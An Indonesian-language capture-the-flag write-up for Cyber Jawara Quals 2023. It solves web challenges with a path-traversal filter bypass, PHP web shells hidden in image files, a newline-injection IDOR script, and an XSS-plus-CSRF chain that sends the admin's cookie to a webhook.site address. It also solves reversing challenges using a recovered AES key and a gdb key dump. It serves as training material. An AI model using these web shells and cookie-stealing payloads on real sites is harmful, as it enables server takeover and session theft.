Cyber Jawara (Kategori Umumu) Quals 2023 Writeup === # TCP1P - Dimas - Aimar - Riordan # Web ## Static Web ### Summary Pada challenge ini kita akan diberikan URL dan juga source code yang memiliki vulnerability LFI didalamnya. ### Recon Pada line sepuluh pada source code: ```python! const urlPath = req.url.replace(/\.\.\//g, '') ``` terdapat regex sebagai WAF LFI, namun disini kita bisa saja membypassnya dengan menambahkan `../` di tengan lfi, contoh dari `../` menjadi `..././`. ### Exploit Karna setelah saya recon flagnya terdapat pada config.js, maka kita akan melakukan LFI dengan payload berikut: ```bash! curl "https://static-web.ctf.cyberjawara.id/static/..././config.js" --path-as-is ``` ## Magic 1 ### Summary Pada challenge ini kita akan diberikan source code dan juga url, yang dimana disana terdapat vulnerability Arbitary File Upload. ### Recon Pada challenge ini kita akan berfokus pada fungsi waf berikut: ```php! function canUploadImage($file) { $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $finfo = new finfo(FILEINFO_MIME_TYPE); $fileMimeType = $finfo->file($file['tmp_name']); $maxFileSize = 500 * 1024; return (strpos($fileMimeType, 'image/') === 0 && $file['size'] <= $maxFileSize && strlen($file['name']) >= 30 ); } ``` Pada fungsi php diatas menerima file kita sebagai input, yang dimana disana dilakukan pengecekan terhadap mimetype. ### Exploit Disini kita bisa membypass mimetype WAF dengan menambahkan header image, semisal disini saya mengggunakan header GIF, maka payload saya akan seperti berikut: ```php GIF89a<?=system($_GET['x'])?> ``` Ketika kita upload maka file tersebut akan tersimap di folder result. ![image](https://hackmd.io/_uploads/SJEHF4qHp.png) Kita tinggal akses, dan kita berhasil melakukan Arbitary File Upload terhadap server: ![image](https://hackmd.io/_uploads/SJHtYV9HT.png) ## Magic 2 ### Summary Pada challenge ini kita akan diberikan url dan juga source code yang memiliki kerentanan Arbitary File Upload. ### Recon Disini kita akan berfokus pada fungsi berikut: ```php! function canUploadImage($file) { $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $finfo = new finfo(FILEINFO_MIME_TYPE); $fileMimeType = $finfo->file($file['tmp_name']); $maxFileSize = 500 * 1024; return (strpos($fileMimeType, 'image/') === 0 && $fileExtension !== 'php' && $file['size'] <= $maxFileSize && strlen($file['name']) >= 30 ); } ``` Dan juga configuras nginx berikut: ```nginx! location ~ \.php { fastcgi_pass php:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } ``` Pada fungsi php diatas kita diberikan fungsi yang berfungsi untuk melakukan check, dimana jika kita mengupload file yang berekstensi php maka file kita akan ditolak, jadi disini kita akan mengupload file lain yaitu .phar yang jika kita lihat dari manual php https://www.php.net/manual/en/install.fpm.configuration.php > security.limit_extensions string > > Limits the extensions of the main script FPM will allow to parse. This can prevent configuration mistakes on the web server side. You should only limit FPM to .php extensions to prevent malicious users to use other extensions to execute php code. Default value: .php .phar dia hanya bisa merender file berekstensi `.php` dan juga `.phar` . Contoh `file.phar`, hanya saja ini tidak akan berhasil dikarenakan kita tidak akan bisa mengakses file tersebut dari `/results`, ini dikarenakan hanya file yang memiliki ".php" didalamnya yang akan diproses oleh php-fpm pada backend. Regex pada nginx yaitu "~ \\.php" akan mengecek apakah didalam url yang kita kirim ada ".php" nya, yang menarik ini bisa dimana saja. contoh ditengah: "file.php.phar" ini akan terkirim ke backend server. ### Exploit Kalian bisa menggunakan command berikut untuk menggenerate payload agar tidak error saat memasuki image magick. ```bash! convert -size 25x25 xc:none -colors 256 output.png && exiftool -Model='<?=system($_GET["x"])?>' output.png && mv output.png $(cat /proc/sys/kernel/random/uuid).php.phar ``` Outputnya akan seperti ini, dimana didalamnya akan terlihat payload php kita yaitu `<?=system($_GET["x"])?>`. ![image](https://hackmd.io/_uploads/S1uu1H5ST.png) Lalu kita upload file tersubet ke server: Maka kita akan mendapatkan arbitary file upload yang akan dirender oleh backend: ![image](https://hackmd.io/_uploads/HJM2xrqSp.png) ![image](https://hackmd.io/_uploads/H1lE1ZBcHT.png) ## Wonder Drive ### Summary Pada challenge ini kita akan mengeksploitasi configurasi access pada challenge yang dipisah dengan newline, dimana kita bisa menginjeksi newline untuk membuat configurasi access agar kita mendapatkan IDOR. ### Recon Jika kita melakukan testing di local dengan fitur sharing, kita akan menemukan dimana access akan di taruh di `accounts/<username>/access` dan dipisah dengan newline. ![image](https://hackmd.io/_uploads/B1u8mSqBT.png) Access file yang dipisah dengan newline ini bisa kita injeksi dengan newline untuk membuat acess baru. ### Exploit Berikut solver yang saya buat untuk challenge ini: ```python! import httpx URL = "http://127.0.0.1:16000" URL = "https://wonder-drive.ctf.cyberjawara.id/" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url, follow_redirects=True) def register(s, username, password): return s.c.post("/register", data=dict(username=username, password=password)) def login(s, username, password): return s.c.post("/login", data=dict(username=username, password=password)) def download(s, username, filepath): return s.c.get(f"/download/{username}/{filepath}") def share(s, file_path): return s.c.post("/share", data=dict(file_path=file_path)) def accept_share(s, token): return s.c.post(f"/accept_share/{token}") def create_directory(s, current_path, directory_name): return s.c.post("/create_directory", data=dict(current_path=current_path, directory_name=directory_name)) class API(BaseAPI): ... if __name__ == "__main__": api = API() username = "testing123456789" password = "testing1234567892" res = api.register(username, password) res = api.login(username, password) res = api.create_directory("","\x0Arepository/wonderadmin/flag.txt") res = api.share(f"\x0Arepository/wonderadmin/flag.txt") res = api.accept_share(res.text) res = api.download("wonderadmin", "flag.txt") print(res.text) ``` ## Wonder Drive XSS ### Summary Pada challenge ini kita akan melakukan injeksi XSS didalam script tag, yang dimana kita bisa menyematkan `</script>` untuk escape dari dalam script tag dan melakukan html injection dengan bebas. ### Recon Pada challenge ini kita bisa menemukan letak XSS yang kita akan eksploitasi menggunakan patern regex berikut: ![image](https://hackmd.io/_uploads/H1kqrS5ra.png) Ternyata dia terdapat pada dalam script tag: ![image](https://hackmd.io/_uploads/SJu0BS5rp.png) Ini bisa kita eksploitasi dengan melakukan injeksi "</script>" ke dalam value dari data dan setelah itu melakukan html injection untuk mendapatkan xss. Tapi sebelum itu kita perlu untuk membuat folder dengan nama contoh: ```html! </script><img src=x onerror=location=`${{atob('{url_btoa}')}}?${{document.cookie}}`> ``` Setelah itu kita bisa melakukan share file yang terdapat xss tadi untuk mendapatkan cookie dari admin. ### exploit Agar mudah disini saya menggunakan script untuk membuat folder, dan menshare file dari folder tersebut: ```python! import base64 import httpx # URL = "http://127.0.0.1:16000" URL = "https://wonder-drive.ctf.cyberjawara.id" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url, follow_redirects=True) def register(s, username, password): return s.c.post("/register", data=dict(username=username, password=password)) def login(s, username, password): return s.c.post("/login", data=dict(username=username, password=password)) def download(s, username, filepath): return s.c.get(f"/download/{username}/{filepath}") def share(s, file_path): return s.c.post("/share", data=dict(file_path=file_path)) def accept_share(s, token): return s.c.post(f"/accept_share/{token}") def create_directory(s, current_path, directory_name): return s.c.post("/create_directory", data=dict(current_path=current_path, directory_name=directory_name)) def upload(s, directory, file): return s.c.post("/upload", params=dict(directory=directory), files=dict(file=file)) class API(BaseAPI): ... if __name__ == "__main__": api = API() username = "testing123456789" password = "testing1234567892" res = api.register(username, password) res = api.login(username, password) url_btoa = base64.b64encode(b'https://webhook.site/cc4894b6-cae9-4b2e-944e-d09b52e47041').decode() payload = f"</script><img src=x onerror=location=`${{atob('{url_btoa}')}}?${{document.cookie}}`>" res = api.create_directory("",payload) res = api.upload(payload, ("testing.txt", "foobar")) res = api.share(payload+"/testing.txt") print(URL+"/accept_share/"+res.text) print(URL+"/repository/"+username+"/"+payload+"/testing.txt") ``` > Note: jangan lupa mengganti webhook diatas dengan webhook kalian Lalu output dari script tersebut yang berupa token share dan juga repository kita masukkan ke html untuk melakukan CSRF, ini saya lakukan karna kita perlu melakukan post request untuk mengaktifkan token. ```html! <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Multiplatform Data Upload</title> </head> <body> <script> (async()=>{ const SHARER = "https://wonder-drive.ctf.cyberjawara.id/accept_share/.eJxdjsFqwkAUAH9FFsEWitkmVZtilEKoIomiNZTNybiudk3cF94-S0LIv9eLF28DM4dp2NUqZB-MlCVtTq-u9zYYjt599sKOulBlRr83i6oEqwmwdh5DZ-xYibqkyVhfTh2LMqg6YBQiYFCAzEiDCXbdJiPYP_Wy-YbLeTyMat9Lfxawd32MzLI8zJI_4cZ8FeZcnAUJ96tYffMbL4pom_PlLKE0_ByIc1Kn27UXh-uq99xOu80B5PWiDPUlQK5Vu5vcH_tUEWv_Aa8wTNw.FzcF_cGa_b2UBeUOHKjIIq5Q7gY"; const form = document.createElement('form'); form.method = 'POST'; form.target = "_blank" form.action = SHARER; document.body.appendChild(form); form.submit(); setTimeout(()=>{ location = "https://wonder-drive.ctf.cyberjawara.id/repository/testing123456789/<\/script><img src=x onerror=location=`${atob('aHR0cHM6Ly93ZWJob29rLnNpdGUvY2M0ODk0YjYtY2FlOS00YjJlLTk0NGUtZDA5YjUyZTQ3MDQx')}%3f${document.cookie}`>/testing.txt" }, 1000) })() </script> </body> </html> ``` HTML tersebut kita serve ke internet (bisa menggunakan ngrok). Setelah mengirim url dari html tersebut ke admin. Kita akan langsung mendapatkan flagnya di webhook kita: ![image](https://hackmd.io/_uploads/rybodHqH6.png) # Reversing ## boilerplater ### Technical Solver Diberikan sebuah file apk yang di build menggunakan flutter. Karena tidak dapat melakukan dumping file dart, kami melakukan traffic analysis dengan melakukan repack apk menggunakan reflutter ![image](https://hackmd.io/_uploads/S1TFYSqBp.png) Setelah selesai setup burpsuite, ditemukan beberapa endpoint menarik seperti /todo dan /profile. ![image](https://hackmd.io/_uploads/SJL3FH9Sp.png) Karena payload di enkripsi, kami mencoba membaca libapp.so dan ditemukan bahwa aplikasi menggunakan package aespack. ![image](https://hackmd.io/_uploads/B136FScHp.png) Setelah membaca package tersebut melalui https://pub.dev/packages/aespack , ditemukan bahwa aespack menggunakan AES-CBC dengan padding PKCS5 dan memerlukan key dan iv untuk melakukan encrypt / decrypt. ![image](https://hackmd.io/_uploads/rkeJqB9Hp.png) Karena tidak dapat melakukan dumping dart, kami mencoba melakukan string analysis dengan melakukan filtering pada string yang memiliki panjang 0x10. Kami menemukan 2 string yang lumayan suspicious (uncle-bob-martin (KEY) dan oop-boilerplater (IV)). ![image](https://hackmd.io/_uploads/B1AJ9rqBa.png) Setelah mendapatkan KEY dan IV, kami mencoba mencari user yang membawa flag dengan memanfaatkan endpoint /profile dan didapatkan user uncle-bob dengan user_id = 2. Berikut script yang digunakan untuk mendapatkan flag : ```python! import requests as req, json from aes_pkcs5.algorithms.aes_cbc_pkcs5_padding import AESCBCPKCS5Padding key = "uncle-bob-martin" of = "b64" iv = "oop-boilerplater" cipher = AESCBCPKCS5Padding(key, of, iv) def create_request(endpoint:str, data:dict): send = req.post(f'https://boilerplater.vidner.space/{endpoint}', json={"data": cipher.encrypt(json.dumps(data))}) return send # s = create_request("profile", {"user_id": 2}) # print(s.text) s = create_request("todo", {"author": "uncle-bob"}) print(s.text) ``` Result: ```json! [{"created_at":"2023-12-01T19:03:33.176069","id":1,"deleted_at":null,"author":"uncle-bob","title":"refactor some code"},{"created_at":"2023-12-01T19:03:33.181403","id":2,"deleted_at":null,"author":"uncle-bob","title":"write some tests"},{"created_at":"2023-12-01T19:03:33.182690","id":3,"deleted_at":null,"author":"uncle-bob","title":"drink some milk"},{"created_at":"2023-12-01T19:03:33.183808","id":4,"deleted_at":null,"author":"uncle-bob","title":"CJ2023{this_stuff_actually_happens_in_realworld_yes_im_looking_at_you_people_who_think_ssl_pinning_is_a_findings}"}] ``` ### Flag CJ2023{this_stuff_actually_happens_in_realworld_yes_im_looking_at_you_people_who_think_ssl_pinning_is_a_findings} ## newcomer Diberikan sebuah executable yang diduga dibuat dengan menggunakan Zig. Program ini simpelnya akan meminta input yang dimana input akan dicek jika input tersebut sesuai dengan flag yang disediakan. Basically flag checker. Setelah dibuka dengan IDA Pro, terdapat fungsi berikut yang kita duga fungsi utama dari program tersebut: ![image](https://hackmd.io/_uploads/H1q_qB9Hp.png) Pada intinya program akan melakukan xor dengan key yang digenerate secara random dengan Xoshiro256 dengan flag yang sudah diencrypt. Disini uniknya state atau seed diberikan yaitu 0 (value RDI): ![image](https://hackmd.io/_uploads/B1qo9H9Ba.png) Jadi disini kita bisa melakukan restore key dengan program tersebut. Disini juga flag yang sudah diencrypt memiliki length 80, namun disini kita perlu melakukan dump terlebih dahulu pada keynya. Disini saya menggunakan gdb script untuk melakukan dump dengan script berikut: ```bash! break *0x000000000021f12d commands print $al continue end ``` Script tersebut akan melakukan breakpoint pada hasil dari key yang digenerate oleh Xoshiro256.next: ![image](https://hackmd.io/_uploads/rJkljS5H6.png) Cukup lakukan parsing dengan VSCode dan kita berhasil mendapatkan keynya. Berikut script solvernya: ![image](https://hackmd.io/_uploads/H1rGir5Hp.png) Hasil yang didapatkan cukup random, tapi kita berhasil mendapatkan flagnya. FLAG: CJ2023{tbh_i_ran_out_of_ideas_idk_if_you_guys_learned_anything_from_this}